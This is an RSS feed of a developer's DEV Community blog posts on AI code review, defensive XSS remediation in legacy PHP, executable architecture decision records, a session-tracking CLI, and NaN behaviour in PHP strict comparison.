<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: István Döbrentei </title>
    <description>The latest articles on DEV Community by István Döbrentei  (@dobrenteiistvan).</description>
    <link>https://dev.to/dobrenteiistvan</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F313525%2F05c248df-7465-410f-82f5-d66acfb5a36f.jpeg</url>
      <title>DEV Community: István Döbrentei </title>
      <link>https://dev.to/dobrenteiistvan</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/dobrenteiistvan"/>
    <language>en</language>
    <item>
      <title>AI Reviews Your Code. But Who Reviews the AI?</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Thu, 16 Apr 2026 18:16:09 +0000</pubDate>
      <link>https://dev.to/dobrenteiistvan/ai-reviews-your-code-but-who-reviews-the-ai-1nbh</link>
      <guid>https://dev.to/dobrenteiistvan/ai-reviews-your-code-but-who-reviews-the-ai-1nbh</guid>
      <description>&lt;p&gt;We are starting to trust AI with one of the most important parts of software development: code review.&lt;/p&gt;

&lt;p&gt;At first, this feels like a natural step. AI writes code, so it can also review it. It is faster, it removes bottlenecks, and it feels consistent.&lt;/p&gt;

&lt;p&gt;But there is a deeper change happening.&lt;/p&gt;

&lt;p&gt;Code review is not only about finding bugs. It is also about &lt;strong&gt;understanding intent&lt;/strong&gt;, &lt;strong&gt;checking assumptions&lt;/strong&gt;, and &lt;strong&gt;taking responsibility&lt;/strong&gt; for what we ship to production.&lt;/p&gt;

&lt;p&gt;When AI joins this process, it does not just add another reviewer. It changes how developers think about code quality.&lt;/p&gt;

&lt;p&gt;Not because AI is always wrong, but because it sounds right even when it is not.&lt;/p&gt;

&lt;p&gt;This leads to a simple but important question:&lt;/p&gt;

&lt;p&gt;Are we still reviewing code, or are we just trusting that it has already been reviewed?&lt;/p&gt;

&lt;h2&gt;
  
  
  A Concrete Example: Review at the Point of Commit
&lt;/h2&gt;

&lt;p&gt;Tools like &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;git-lrc&lt;/a&gt; are a good example of this change.&lt;/p&gt;

&lt;p&gt;Instead of waiting for pull requests, they run code review at commit time. Every change is checked automatically before it even enters the repository.&lt;/p&gt;

&lt;p&gt;In theory, this is very useful.&lt;/p&gt;

&lt;p&gt;AI review becomes fast, continuous, and always available. It fits modern workflows with small commits and fast changes.&lt;/p&gt;

&lt;p&gt;But this also makes the question more important.&lt;/p&gt;

&lt;p&gt;If review happens earlier and more often, what exactly is being reviewed?&lt;/p&gt;

&lt;p&gt;Moving review closer to the commit does not automatically make it better.&lt;/p&gt;

&lt;p&gt;It only makes it easier to trust.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Nature of AI Review
&lt;/h2&gt;

&lt;p&gt;AI code review does not usually fail in obvious ways. It does not produce random or useless feedback. Most of the time, it finds real issues like style problems, edge cases, or refactoring suggestions.&lt;/p&gt;

&lt;p&gt;This is what makes it useful—and also risky.&lt;/p&gt;

&lt;p&gt;The problem is not if the suggestions are correct.&lt;/p&gt;

&lt;p&gt;The problem is that they are &lt;strong&gt;correct only in a limited context&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;AI does not know the full history of the code. It does not know business rules or past decisions. It only sees the current code, not the reasons behind it.&lt;/p&gt;

&lt;p&gt;A suggestion can be technically correct, but still wrong for the system.&lt;/p&gt;

&lt;p&gt;For example, removing a “redundant” check might break a rare case in production. Simplifying logic might remove an important rule that is not obvious in the code.&lt;/p&gt;

&lt;p&gt;Each change may look like an improvement on its own.&lt;/p&gt;

&lt;p&gt;But together, they can slowly change the design of the system.&lt;/p&gt;

&lt;p&gt;AI focuses on local correctness. Real systems need contextual correctness.&lt;/p&gt;

&lt;p&gt;And code review exists to protect that context.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Hidden Shift
&lt;/h2&gt;

&lt;p&gt;The effect of AI is not only in what it suggests, but also in how developers react.&lt;/p&gt;

&lt;p&gt;When feedback is usually good, we start to trust it. Not on purpose, but in practice.&lt;/p&gt;

&lt;p&gt;We accept suggestions faster. We question them less. Review becomes something we read, not something we do.&lt;/p&gt;

&lt;p&gt;This is where we start relying on automation without thinking.&lt;/p&gt;

&lt;p&gt;When something looks reviewed, we assume it is correct.&lt;/p&gt;

&lt;p&gt;Over time, this can lead to a simple problem:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;more code is reviewed, but less code is truly understood&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And in software, understanding is what matters most.&lt;/p&gt;

&lt;h2&gt;
  
  
  Responsibility Does Not Disappear
&lt;/h2&gt;

&lt;p&gt;AI does not remove responsibility. It changes how responsibility feels.&lt;/p&gt;

&lt;p&gt;With AI in the review process, there is a quiet shift:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;from thinking about code to accepting suggestions&lt;/li&gt;
&lt;li&gt;from understanding decisions to trusting outputs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This does not happen because developers stop caring. It happens because the system pushes in that direction.&lt;/p&gt;

&lt;p&gt;This is the real risk.&lt;/p&gt;

&lt;p&gt;Not wrong suggestions, but &lt;strong&gt;the slow loss of critical thinking&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Question That Remains
&lt;/h2&gt;

&lt;p&gt;So the question is not if AI can review code.&lt;/p&gt;

&lt;p&gt;The question is if we are still fully doing code review ourselves, or if we are slowly giving that responsibility away without noticing.&lt;/p&gt;

&lt;p&gt;Because when something goes wrong, the answer will not be:&lt;/p&gt;

&lt;p&gt;“the AI approved it.”&lt;/p&gt;

&lt;p&gt;It will still be:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Who understood the code well enough to take responsibility for it?&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>codereview</category>
      <category>softwareengineering</category>
      <category>programming</category>
    </item>
    <item>
      <title>Fixing XSS in Legacy PHP: Passing the Audit vs Solving the Problem</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Sun, 29 Mar 2026 08:12:18 +0000</pubDate>
      <link>https://dev.to/dobrenteiistvan/fixing-xss-in-legacy-php-passing-the-audit-vs-solving-the-problem-1l72</link>
      <guid>https://dev.to/dobrenteiistvan/fixing-xss-in-legacy-php-passing-the-audit-vs-solving-the-problem-1l72</guid>
      <description>&lt;h2&gt;
  
  
  The Challenges of legacy systems
&lt;/h2&gt;

&lt;p&gt;Legacy systems are not vulnerable by accident — they become vulnerable as a result of continuous evolution. The decisions made over time, often under pressure to deliver, gradually shape them into what they are today. These systems are rarely insecure because of a single flawed implementation. The root cause is almost always systemic. &lt;strong&gt;XSS is not a bug, it is a symptom of missing design decisions&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A common characteristic of legacy systems is &lt;strong&gt;inconsistency&lt;/strong&gt;. There is no unified approach to validation or output escaping. Instead, similar problems are solved in slightly different ways across the codebase. Over the years, multiple developers have worked on the system, each bringing their own practices and constraints. Most of the time, the goal was to deliver something that works — even if it was only a short-term solution. At a system level, everyone is aware that these are compromises.&lt;/p&gt;

&lt;p&gt;This is exactly the kind of environment where XSS vulnerabilities thrive.&lt;/p&gt;

&lt;p&gt;The presence of significant technical debt reinforces this problem. As long as the system appears to work, it is rarely revisited. Internally, however, it often relies on outdated patterns, poorly defined responsibilities, and a lack of security considerations at every level.&lt;/p&gt;

&lt;p&gt;The situation is further complicated by &lt;strong&gt;missing documentation&lt;/strong&gt;, &lt;strong&gt;implicit knowledge&lt;/strong&gt;, and a high likelihood of &lt;strong&gt;human error&lt;/strong&gt;. In many cases, &lt;strong&gt;input validation and output encoding&lt;/strong&gt; are either not clearly separated — or missing entirely. This creates hidden risks throughout the system. &lt;/p&gt;

&lt;p&gt;Over time, these issues accumulate into what can only be described as a collection of time bombs — latent vulnerabilities waiting to surface.&lt;/p&gt;

&lt;p&gt;I believe that any well-trained developer can fix an XSS vulnerability in a given application — I have no doubt about that. The task itself can be completed.&lt;/p&gt;

&lt;p&gt;What I do question, however, is whether in a legacy system — due to the systemic issues described earlier — new vulnerabilities will continue to emerge over time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Does passing a security audit truly mean that a system is secure?
&lt;/h2&gt;

&lt;p&gt;Passing a security audit is similar to having a fully green test suite: it confirms that known conditions are met, but it does not guarantee the absence of deeper issues. &lt;strong&gt;Passing the audit fixes the present. Architecture defines the future.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a Modern Template Engine Doesn’t Automatically Prevent XSS
&lt;/h2&gt;

&lt;p&gt;Primarily, XSS does not occur simply because escaping is missing — it happens because data is handled in the wrong place or at the wrong time. It is not purely a technological problem; it stems from when and how output is processed.&lt;/p&gt;

&lt;p&gt;Many modern template engines, such as Blade or Twig, apply escaping automatically by default. However, this protection is limited to certain contexts. It is also very common for developers to deliberately disable escaping, either because the framework allows it or because they need to render “raw” output — in which case the protection is effectively bypassed. Misusing the context can lead to the same result.&lt;/p&gt;

&lt;p&gt;Another challenge arises when a new template engine is introduced on top of a legacy system. Inconsistent practices and outdated structures underneath can create gaps that the engine alone cannot address.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A template engine can enforce safer defaults, but it cannot enforce correct thinking.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Making Blade Templates XSS-Safe: Practical Advice
&lt;/h2&gt;

&lt;p&gt;It is possible to make Blade templates XSS proof, but this does not happen automatically. While Blade provides automatic escaping for standard HTML contexts, true protection requires:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Developer knowledge&lt;/strong&gt;: understanding which contexts need escaping (HTML, JavaScript, Url, attributes)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Custom directives&lt;/strong&gt;: creating Blade directives or helpers that consistently apply the right escaping strategy for each context.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Discipline and review&lt;/strong&gt;: consciously avoiding {{!! !!}} unless the content is fully sanitized and mainatining consistency across the codebase.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Blade give you the tools, but it cannot enforce safe usage on its own. Security still depends &lt;strong&gt;on decisions and careful practices throughout the development process&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Role of AI
&lt;/h2&gt;

&lt;p&gt;Fundamentally, AI does not solve XSS vulnerabilities in legacy systems — it helps make them visible. AI-based tools are increasingly being integrated into development workflows, and at first glance, they promise a solution for security issues, including XSS.&lt;/p&gt;

&lt;p&gt;One of the most attractive aspects of AI tools is their ability to quickly scan large codebases and identify known patterns of vulnerabilities. They can detect recurring issues and even suggest potential fixes, which can significantly speed up the discovery and partial remediation of problems.&lt;/p&gt;

&lt;p&gt;However, it is crucial to understand their limitations. AI does not comprehend the full system context, nor does it understand the &lt;strong&gt;architectural decisions&lt;/strong&gt; that are often the root cause of vulnerabilities. As mentioned earlier, XSS is rarely caused by a single bug; it is usually the result of inconsistent practices developed over years.&lt;/p&gt;

&lt;p&gt;Consequently, AI tools often recommend local fixes — for example, escaping a specific variable or modifying a particular code snippet. While these suggestions are helpful, they do not address the underlying systemic problem. &lt;strong&gt;Without a unified strategy for handling output data, vulnerabilities are likely to reappear elsewhere&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;AI can help identify vulnerabilities and accelerate fixes, but it operates on patterns — not intent, not architecture. Without a consistent strategy, it risks reinforcing the same fragmented solutions it is trying to fix.&lt;/p&gt;

&lt;h2&gt;
  
  
  Closing Thoughts
&lt;/h2&gt;

&lt;p&gt;In practice, the decision is rarely black and white. Time pressure, business expectations, and existing constraints often favor quick fixes over deeper changes. Yet every shortcut carries a cost, one that is often paid later with interest.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What do you think is trully more cost-effective in the long run: applying patches or investing in architectural change?&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>architecture</category>
      <category>php</category>
      <category>security</category>
    </item>
    <item>
      <title>Stop forgetting architectural decisions: make them executable</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Wed, 11 Feb 2026 19:12:40 +0000</pubDate>
      <link>https://dev.to/dobrenteiistvan/stop-forgetting-architectural-decisions-make-them-executable-4hk6</link>
      <guid>https://dev.to/dobrenteiistvan/stop-forgetting-architectural-decisions-make-them-executable-4hk6</guid>
      <description>&lt;p&gt;Most software projects don't fail because developers can't write code. They fail because decisions get lost.&lt;/p&gt;

&lt;p&gt;Months or years later, the code still runs, tests pass, and systems appear healthy—but the reasoning behind key choices has vanished. Why was this library chosen? Why does this service behave this way? Was it a performance optimization, a business constraint, or just a temporary workaround that became permanent?&lt;/p&gt;

&lt;p&gt;What survives isn’t code clarity — it’s a set of unwritten rules, remembered only by the people who were there at the beginning. This isn’t just a tooling problem—it’s an institutional memory problem. And when intent disappears, every change becomes riskier, slower, and more expensive.&lt;/p&gt;

&lt;p&gt;Teams don't usually break architecture they're careless. They break it because the people who undertsood the original decisions leave, deadlines create constant pressure, documentation becomes outdated, and crucial decisions are buried in chat threads and pull requests rather than recorded formally.&lt;/p&gt;

&lt;p&gt;Knowing &lt;strong&gt;why something was built&lt;/strong&gt; is just as important as knowing how it works. Without that knowledge, teams guess—and systems slowly become harder and riskier to maintain.&lt;/p&gt;

&lt;p&gt;If decisions are allowed to drift away from the code, they will eventually be forgotten. Architecture Decision Records only work when they are part of the developer's daily workflow, close to the code, visible during reviews, and capable of surfacing when a rule is about to be broken. Otherwise, they become historical documents rather than living constraints. The real challenge then isn't deciding what to document. It's ensuring that architectural decisions are &lt;strong&gt;discoverable, reviewable, and enforceable&lt;/strong&gt; at the moment they matter most when code is being written and changed.&lt;/p&gt;

&lt;p&gt;What if architecture could answer questions?&lt;/p&gt;

&lt;p&gt;Imagine being able to ask your project: Why is using an ORM forbidden here?&lt;/p&gt;

&lt;p&gt;And getting a clear, consistent answer - not from a person who might be on vacation, but from the system itself. That means fewer repeated explanations, smoother onboarding, and less  "architectural folklore".&lt;/p&gt;

&lt;h2&gt;
  
  
  Architecture as executable knowledge
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/distvan/phpdecide" rel="noopener noreferrer"&gt;PHPDecide&lt;/a&gt; is a CLI tool that treats architectural decisions as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;versioned artifacts in your repository&lt;/li&gt;
&lt;li&gt;structured, machine-readable knowledge&lt;/li&gt;
&lt;li&gt;explainable constraints&lt;/li&gt;
&lt;li&gt;optionally enforceable rules&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each decision captures:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;what was decided&lt;/li&gt;
&lt;li&gt;why it was decided&lt;/li&gt;
&lt;li&gt;where it applies&lt;/li&gt;
&lt;li&gt;optionally, how it can be enforced&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Who writes decision files (and why some teams resist)
&lt;/h2&gt;

&lt;p&gt;You might wonder: If we can just talk in meetings, why bother writing decision files at all?&lt;/p&gt;

&lt;p&gt;In some teams, leaders or senior developers resist because it feels like a loss of control. When knowledge lives only in their heads, they are the gatekeepers.&lt;/p&gt;

&lt;p&gt;But relying on meetings and memory creates hidden risks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;knowledge silos and single points of failure&lt;/li&gt;
&lt;li&gt;junior developers hesitate to ask&lt;/li&gt;
&lt;li&gt;decisions get forgotten or unintentionally violated&lt;/li&gt;
&lt;li&gt;reviews become debates about intent instead of implementation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Decision files shift authority from individuals to the team and the repository: &lt;strong&gt;transparent, explainable, and shareable&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Your turn
&lt;/h2&gt;

&lt;p&gt;Have you ever seen architecture slowly erode because nobody documented the "&lt;strong&gt;Why&lt;/strong&gt;"?&lt;/p&gt;

&lt;p&gt;If you are curious, try the idea in a small, safe way:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Record 3-5 high-signal decisions&lt;/li&gt;
&lt;li&gt;Run the lint step in CI&lt;/li&gt;
&lt;li&gt;Use explain in reviews for a month&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Then measure what changed: fewer repeated questions, faster onboarding, and more consistent reviews.&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>management</category>
      <category>softwaredevelopment</category>
      <category>softwareengineering</category>
    </item>
    <item>
      <title>DevSession CLI</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Sat, 31 Jan 2026 19:05:29 +0000</pubDate>
      <link>https://dev.to/dobrenteiistvan/devsession-cli-b17</link>
      <guid>https://dev.to/dobrenteiistvan/devsession-cli-b17</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/github-2026-01-21"&gt;GitHub Copilot CLI Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;I built DevSession, a lightweight PHP based CLI tool that helps developers track focused development sessions, with context not just time.&lt;br&gt;
As developers we often know how long we worked, but not always what actually accomplished. DevSession solves this with start and end a session and then automatically summarizing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;how long the session lasted&lt;/li&gt;
&lt;li&gt;which git commits were made&lt;/li&gt;
&lt;li&gt;which files were changed&lt;/li&gt;
&lt;li&gt;what the session was about &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Everything runs locally, stores data in a simple JSON file, and works entirely from the terminal. No background daemons, no cloud sync and no configuration.&lt;br&gt;
To me this project is about intentional work: consciously stating a session, focusing, and then getting a clear summary of what really happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;Project repository:&lt;a href="https://github.com/distvan/devsession" rel="noopener noreferrer"&gt;DevSession&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnjmampjheku2xsgvl6o9.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnjmampjheku2xsgvl6o9.jpg" alt=" " width="582" height="227"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Start a session:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd9c5ux9yfi40gu2de2rw.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd9c5ux9yfi40gu2de2rw.jpg" alt=" " width="497" height="76"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Check status:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frv3mlgwq4iokdq9banfb.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frv3mlgwq4iokdq9banfb.jpg" alt=" " width="440" height="117"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;End session:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fca57uypdxnbjrl7x2za7.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fca57uypdxnbjrl7x2za7.jpg" alt=" " width="362" height="140"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;View today's work:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwpeq7x6hhpgv2azghc1f.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwpeq7x6hhpgv2azghc1f.jpg" alt=" " width="363" height="96"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;View history:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5xbt46pbaqbu8dac5jlx.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5xbt46pbaqbu8dac5jlx.jpg" alt=" " width="338" height="135"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  My Experience with GitHub Copilot CLI
&lt;/h2&gt;

&lt;p&gt;I used GitHub Copilot CLI as a terminal native pair programmer throughout the project. &lt;/p&gt;

&lt;p&gt;Instead of switching between editor, browser, and documentation, I stayed in the CLI and described what I wanted in natural language. Copilot CLI helped me move faster while keeping full control over architecture and decisions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Designing the CLI interface
&lt;/h3&gt;

&lt;p&gt;Early on, I used Copilot CLI to explore and refine the command structure, deciding which commands were essential (start, end, status, today, log). Keeping the scope intentionally small. &lt;br&gt;
This helped me avoid overengineering and focus on real productivity value.&lt;/p&gt;

&lt;h3&gt;
  
  
  Building a PHP CLI architecture
&lt;/h3&gt;

&lt;p&gt;Although PHP isn't the most common choice for CLI tools, I intentionally chose it to demonstrate that clean, framework free CLI applications are absolutely viable in PHP. With Copilot, I bootstrapped the command dispatcher, refined error-handling patterns suitable for CLI usage, iterated on a clean command-based architecture. Copilot accelerated the boilerplate without dictating design decisions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Git integration
&lt;/h3&gt;

&lt;p&gt;DevSession is git-aware, it enriches sessions with git context when available, but it is not git-dependent — it works just as well outside a git repository. Copilot CLI helped me construct git commands to list commits since a timestamp, retrieve changed files during a session and handle edge cases where git isn't available.&lt;/p&gt;

&lt;h3&gt;
  
  
  Overall impact
&lt;/h3&gt;

&lt;p&gt;The biggest benefit of GitHub Copilot CLI wasn't just speed, it was focus. I spent less time searching documentation, recalling command syntax and context switching. I had more time to thinkn about behavior and making deliberate design choices. Copilot didn't replace decision making, it amplified it.&lt;/p&gt;

&lt;p&gt;Thanks for reading and thanks to the DEV and GitHub teams for the challenge!&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>githubchallenge</category>
      <category>cli</category>
      <category>githubcopilot</category>
    </item>
    <item>
      <title>Strict Comparison in PHP Explained at the Zend Engine Level</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Tue, 30 Dec 2025 18:19:50 +0000</pubDate>
      <link>https://dev.to/dobrenteiistvan/strict-comparison-in-php-explained-at-the-zend-engine-level-15e2</link>
      <guid>https://dev.to/dobrenteiistvan/strict-comparison-in-php-explained-at-the-zend-engine-level-15e2</guid>
      <description>&lt;p&gt;While browsing &lt;a href="https://bugs.php.net" rel="noopener noreferrer"&gt;bugs.php.net&lt;/a&gt;, I found an &lt;a href="https://bugs.php.net/bug.php?id=80701" rel="noopener noreferrer"&gt;interesting ticket&lt;/a&gt;. Someone reported a surprising behavior, and I wanted to understand what is happening under the hood—because I think this is a really important concept to understand in PHP internals. &lt;/p&gt;

&lt;p&gt;Consider the following script and its output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;?php

$NaN = sqrt(-1);
$array = [$NaN];

var_dump($array === $array);   // always true
var_dump([$NaN] === [$NaN]);   // always false
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At first glance, this looks confusing. Let’s investigate it line by line.&lt;/p&gt;

&lt;h3&gt;
  
  
  Generating NaN
&lt;/h3&gt;

&lt;p&gt;The first line contains a mathematical expression that is not defined in the real numbers: $NaN = sqrt(-1);&lt;/p&gt;

&lt;p&gt;PHP delegates this operation to its internal math implementation in &lt;a href="https://github.com/php/php-src/blob/master/ext/standard/math.c" rel="noopener noreferrer"&gt;ext/standard/math.c&lt;/a&gt;, which ultimately relies on the system’s math library (for example, glibc on Linux, Apple libc on macOS, or musl on Alpine). These libraries follow the &lt;a href="https://ethw.org/Milestones:IEEE_Standard_754_for_Binary_Floating-Point_Arithmetic,_1985" rel="noopener noreferrer"&gt;IEEE 754 floating-point standard&lt;/a&gt;. According to this standard, operations that are mathematically undefined (such as the square root of a negative number) produce NaN (“Not a Number”). Importantly, &lt;strong&gt;NaN is never equal to anything, including itself&lt;/strong&gt;. This is a fundamental rule of IEEE 754 floating-point arithmetic.&lt;/p&gt;

&lt;h3&gt;
  
  
  Putting NaN into an array
&lt;/h3&gt;

&lt;p&gt;Next, we store this NaN value in an array:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$array = [$NaN];
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Comparing the same array
&lt;/h3&gt;

&lt;p&gt;Now we compare the array to itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;var_dump($array === $array);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In PHP, the === operator performs a strict comparison, meaning:&lt;br&gt;
&lt;strong&gt;same type same value&lt;/strong&gt; Here, both operands refer to the same variable, so the comparison returns true. This is effectively an identity shortcut. Internally, both $array operands &lt;strong&gt;point to the same zval&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  A short note about zvals
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;zval&lt;/strong&gt; (Zend value) is the fundamental data structure used by the &lt;a href="https://www.phpinternalsbook.com/php7/zend_engine.html" rel="noopener noreferrer"&gt;Zend Engine &lt;/a&gt; to represent all PHP variables. Every variable in PHP is stored internally as a zval. PHP 7 redesigned the zval structure to be significantly more memory-efficient and faster compared to PHP 5. &lt;/p&gt;

&lt;p&gt;A zval is essentially a container that holds:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the value&lt;/li&gt;
&lt;li&gt;the type information&lt;/li&gt;
&lt;li&gt;flags related to references and garbage collection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PHP uses a &lt;strong&gt;copy-on-write&lt;/strong&gt; (CoW) mechanism for efficiency. Multiple variables can point to the same underlying value without duplicating memory. Only when a modification occurs does PHP create a copy, ensuring changes don’t affect other variables.&lt;/p&gt;
&lt;h3&gt;
  
  
  Comparing two distinct arrays
&lt;/h3&gt;

&lt;p&gt;Finally, let’s look at this line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;var_dump([$NaN] === [$NaN]);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, we are comparing two distinct arrays, even though their contents look identical. To understand why this returns false, let’s briefly follow the &lt;a href="https://github.com/php/php-src/blob/master/Zend/zend_operators.c" rel="noopener noreferrer"&gt;relevant internal comparison logic&lt;/a&gt; in PHP:&lt;/p&gt;

&lt;p&gt;zend_is_identical(op1, op2), (both operands are arrays):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;zend_compare_arrays()&lt;/li&gt;
&lt;li&gt;zend_compare_symbol_tables()&lt;/li&gt;
&lt;li&gt;zend_hash_compare()&lt;/li&gt;
&lt;li&gt;hash_zval_identical_function()&lt;/li&gt;
&lt;li&gt;zend_is_identical(v1, v2)&lt;/li&gt;
&lt;/ul&gt;

